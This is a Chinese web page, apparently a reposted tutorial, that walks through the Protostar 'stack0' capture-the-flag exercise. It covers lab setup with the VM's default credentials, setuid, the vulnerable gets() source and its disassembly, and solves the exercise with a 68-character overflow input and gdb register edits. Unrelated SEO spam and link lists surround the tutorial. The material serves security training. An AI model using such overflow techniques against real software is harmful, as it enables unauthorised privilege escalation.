当前位置: 首页 > news >正文

品牌网站推广方案重庆网站推广专家

品牌网站推广方案,重庆网站推广专家,怎么做自己的购物网站,wordpress 文章内链简介 pwn是ctf比赛的方向之一#xff0c;也是门槛最高的#xff0c;学pwn前需要很多知识#xff0c;这里建议先去在某宝上买一本汇编语言第四版#xff0c;看完之后学一下python和c语言#xff0c;python推荐看油管FreeCodeCamp的教程#xff0c;c语言也是 pwn题目大部… 简介 pwn是ctf比赛的方向之一也是门槛最高的学pwn前需要很多知识这里建议先去在某宝上买一本汇编语言第四版看完之后学一下python和c语言python推荐看油管FreeCodeCamp的教程c语言也是 pwn题目大部分是破解在远程服务器上运行的二进制文件利用二进制文件中的漏洞来获得对系统的访问权限 这是一个入门pwn很好的靶场这个靶场包括了 网络编程 处理套接字 栈溢出 格式化字符串 堆溢出 写入shellcode下载地址 https://exploit.education/downloads/实验环境部署 Protostar靶机下载地址https://exploit.education/protostar/ windoows的ssh连接软件https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html下载完Protostar的镜像文件后将其安装到vmware上然后打开 账号为user密码user 如何切换到root权限进入user用户然后 su root 密码为godmodssh远程连接 输入IP后点击打开输入账号密码然后输入/bin/bash更换为可以补全字符串的shell 在网站的Protostar靶机的介绍处我们要破解的题目存放在这个目录下 /opt/protostar/bin我们进入这个目录详细查看文件 ls -al发现文件都是红色的我们详细的查看文件 flie stack0这是一个32位的setuid程序 setuid 什么是setuid setuid代表设置用户身份并且setuid设置调用进程的有效用户ID用户运行程序的uid与调用进程的真实uid不匹配这么说起来有点绕我们来举一个例子 一个要以root权限运行的程序但我们想让普通用户也能运行它但又要防止该程序被攻击者利用这里就需要用的setuid了演示 我们用user用户运行一个vim 然后新开一个窗口查看后台进程 ps -aux这里可以看到我们的vim正在以user的权限运行中然后我们去执行一下靶机上的setuid文件看看 这里可以看到我们虽然是user用户但执行文件后文件正以root权限运行 我们查看文件的权限 r代表读w代表写x代表执行那s是什么呢 s替换了以x的可执行文件这被称为setuid位根据刚刚的操作应该知道了s是做什么的当这个位被user权限的用户执行时linux实际上是以文件的创造者的权限运行的在这种情况下它是以root权限运行的 我们的目标就是破解这些文件然后拿到root权限 STACK ZERO程序源代码分析 我们破解一个简单的题通过分析汇编语言以及相关的知识来带大家进一步了解程序是如何运行的以及如何破解的 题目的源代码https://exploit.education/protostar/stack-zero/题目详情这个级别介绍了内存可以在其分配区域之外访问的概念堆栈变量的布局方式以及在分配的内存之外进行修改可以修改程序执行。 分析源代码这是由c语言写成的程序 #include stdlib.h #include unistd.h #include stdio.hint main(int argc, char **argv) {volatile int modified; //定义一个变量char buffer[64]; //给buffer变量定义数组c语言中一个字符数就是一个字符串modified 0; //modified变量0gets(buffer); //获取我们的输入赋予到buffer变量里if(modified ! 0) { //如果modified不等于0printf(you have changed the modified variable\n); //打印成功改变modified变量字符串} else { //否则printf(Try again?\n); //打印再试一次} }很明显我们要使if语句成功判断打印成功改变变量的字符串关于如何破解程序获取root权限我会在下一篇文章中介绍 gets函数漏洞分析 在gets函数的官方文档里有这么一句话 永远不要使用gets函数因为如果事先不知道数据就无法判断gets将读取多少个字符因为gets将继续存储字符当超过缓冲区的末端时使用它是极其危险的它会破坏计算机安全请改用fgets。 汇编分析 我们使用gdb打开程序进行进一步的分析 gdb /opt/protostar/bin/stack0然后我们查看程序的汇编代码来了解程序的堆栈是如何工作的 set disassembly-flavor intel 参数让汇报代码美观一点 disassemble main 显示所有的汇编程序指令0x080483f4 main0: push ebp 0x080483f5 main1: mov ebp,esp 0x080483f7 main3: and esp,0xfffffff0 0x080483fa main6: sub esp,0x60 0x080483fd main9: mov DWORD PTR [esp0x5c],0x0 0x08048405 main17: lea eax,[esp0x1c] 0x08048409 main21: mov DWORD PTR [esp],eax 0x0804840c main24: call 0x804830c getsplt 0x08048411 main29: mov eax,DWORD PTR [esp0x5c] 0x08048415 main33: test eax,eax 0x08048417 main35: je 0x8048427 main51 0x08048419 main37: mov DWORD PTR [esp],0x8048500 0x08048420 main44: call 0x804832c putsplt 0x08048425 main49: jmp 0x8048433 main63 0x08048427 main51: mov DWORD PTR [esp],0x8048529 0x0804842e main58: call 0x804832c putsplt 0x08048433 main63: leave 0x08048434 main64: ret End of assembler dump.0x080483f4 main0: push ebp第一条是将ebp推入栈中ebp是cpu的一个寄存器它包含一个地址指向堆栈中的某个位置它存放着栈底的地址在因特尔的指令参考官方资料中可以看到mov esp、ebp和pop ebp是函数的开始和结束 https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf 在这个程序中最初操作是将ebp推入栈中然后把esp的值放入ebp中而当函数结束时执行了leave操作 0x08048433 main63: leave leave: mov esp,ebp pop ebp可以看到程序开头和结尾的操作都是对称的 之后执行了如下操作 0x080483f7 main3: and esp,0xfffffff0AND 指令可以清除一个操作数中的 1 个位或多个位同时又不影响其他位。这个技术就称为位屏蔽就像在粉刷房子时用遮盖胶带把不用粉刷的地方如窗户盖起来在这里它隐藏了esp的地址 0x080483fa main6: sub esp,0x60然后esp减去十六进制的60 0x080483fd main9: mov DWORD PTR [esp0x5c],0x0在内存移动的位置为0在堆栈上的偏移为0x5c 段地址偏移地址物理地址 举一个例子你从家到学校有2000米这2000米就是物理地址你从家到医院有1500米离学校还要500米这剩下的500米就是偏移地址 这里推荐大家看一下《汇编语言》这本书在这本书里有很多关于计算机底层的相关知识 0x08048405 main17: lea eax,[esp0x1c] 0x08048409 main21: mov DWORD PTR [esp],eax 0x0804840c main24: call 0x804830c getspltlea操作是取有效地址也就是取esp地址偏移地址0x1c处的堆栈 然后DWORD PTR要取eax的地址到esp中 调用gets函数 0x08048411 main29: mov eax,DWORD PTR [esp0x5c] 0x08048415 main33: test eax,eax然后对比之前设置的值0用test来检查 0x08048417 main35: je 0x8048427 main51 0x08048419 main37: mov DWORD PTR [esp],0x8048500 0x08048420 main44: call 0x804832c putsplt 0x08048425 main49: jmp 0x8048433 main63 0x08048427 main51: mov DWORD PTR [esp],0x8048529 0x0804842e main58: call 0x804832c putsplt这些就是if循环的操作了 实战演示 方法一溢出 0x080483f4 main0: push ebp 0x080483f5 main1: mov ebp,esp 0x080483f7 main3: and esp,0xfffffff0 0x080483fa main6: sub esp,0x60 0x080483fd main9: mov DWORD PTR [esp0x5c],0x0 0x08048405 main17: lea eax,[esp0x1c] 0x08048409 main21: mov DWORD PTR [esp],eax 0x0804840c main24: call 0x804830c getsplt 0x08048411 main29: mov eax,DWORD PTR [esp0x5c] 0x08048415 main33: test eax,eax 0x08048417 main35: je 0x8048427 main51 0x08048419 main37: mov DWORD PTR [esp],0x8048500 0x08048420 main44: call 0x804832c putsplt 0x08048425 main49: jmp 0x8048433 main63 0x08048427 main51: mov DWORD PTR [esp],0x8048529 0x0804842e main58: call 0x804832c putsplt 0x08048433 main63: leave 0x08048434 main64: ret End of assembler dump.我们先在gets函数地址下一个断点这样程序在运行到这个地址时会停止继续运行下一步操作。 断点意思就是让程序执行到此“停住”不再往下执行b *0x0804840c然后在调用gets函数后下一个断点来看我们输入的字符串在哪里 b *0x08048411然后设置 define hook-stop这个工具可以帮助我们在每一步操作停下来后自动的运行我们设置的命令 info registers //显示寄存器里的地址 x/24wx $esp //显示esp寄存器里的内容 x/2i $eip //显示eip寄存器里的内容 end //结束然后我们输入run运行程序到第一个断点 r现在我们马上就要执行gets函数了输入n执行gets函数 n //next我们随意输入一些内容按下回车键 可以看到0x41是A的ascii码我们距离0x0000000还有一段距离 x/wx $esp0x5c //查看esp地址0x5c偏移地址的内容算了一下我们需要68个字符才能覆盖 输入q退出gdb 然后使用echo或者python对程序进行输入 echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | /opt/protostar/bin/stack0python -c print A*(416*314) | /opt/protostar/bin/stack0可以看到我们已经成功打印出了正确的字符 方式二更改eip寄存器的值 寄存器的功能是存储二进制代码不同的寄存器有不同的作用这里我们要认识一个很重要的寄存器他叫做EIP在64位程序里叫做RIP他是程序的指针指针就是寻找地址的指到什么地址就会运行该地址的参数控制了这个指针就能控制整个程序的运行 重新打开程序由于我们可以控制eip寄存器随便在哪下一个断点都行我这里在程序头下一个断点 b *main运行程序到断点处 r查看所有寄存器的值 info registers我打的断点地址为0x80483fd而eip寄存器的值也是0x80483fd 查看程序汇编代码 如果我们输入的值和程序设置的值不一样就会跳转到0x8048427这个位置然后输出try again也就是破解失败所以我们将eip寄存器的值修改成0x8048419下一个地址调用了put函数输出的是you have changed the ‘modified’ variable也就是破解成功了 现在我们修改eip寄存器的值 set $eip0x8048419修改后再次查看所有寄存器里的值可以看到现在eip指向了我们指定的地址 n //执行下一个地址破解成功 方式三修改eax寄存器的值 最直接的方法是改变对比的值使eax寄存器的值为不等于0因为程序源代码逻辑为不等于0后才会输出正确的提示字符you have changed the ‘modified’ variable 在对比的地方下一个断点 b *0x08048415运行程序 r查看所有寄存器里的值 修改eax寄存器里的值 set $eax 1然后继续运行程序 破解成功
http://www.pierceye.com/news/495091/

相关文章:

  • 网站推广费用价格html大屏展示模板
  • 编辑网站用什么软件网站开发人员职责
  • 网站搜索引擎提交wordpress发布站点
  • 阳春网站建设天水网站seo
  • 仙桃市建设局网站wordpress链接前面的图标
  • 温州市城乡建设建档案馆网站公司装修费用可以一次性入账吗
  • 房地产开发公司网站宠物网页设计模板
  • 网站备案信息可以改吗中国做二手房最大的网站
  • 设计 企业网站罗湖网站-建设深圳信科
  • 太原自助模板建站手机版电脑qq登录入口
  • 公司网站建设哪家比较好app 网站
  • 建设银行个人网站打不开个人主页模板下载
  • 山西建设公司网站wordpress视频适应手机端
  • 原型样网站做一般的公司门户网站投资额
  • 南宁百度网站公司电话网站配置优化
  • 德州网站建设的公司免费注册公司怎么注册
  • 成都开发网站建设中国建设规划采购网站
  • 企业网站建设应避免数据孤岛深圳东莞网站建设
  • pk10网站怎么做郑州seo费用
  • 菏泽市建设局网站电话网站建设服务咨询
  • 购物网站模版广州外贸网络推广
  • 高碑店网站网站建设手机软件开发的模式
  • 公司网站开发国内外现状网络营销外包团队哪些好
  • 淘客网站怎么建立如何用api做网站
  • 合肥网站建设ahyedawordpress主题安全
  • 网站建设实训室介绍东莞seo广告宣传
  • 公职人员可以做公益网站吗aws网站建设
  • 什么叫高端网站定制广州建筑公司
  • 全新网站如何做百度竞价网站制作现状解决方案
  • 阿里云esc建设网站近三天时政热点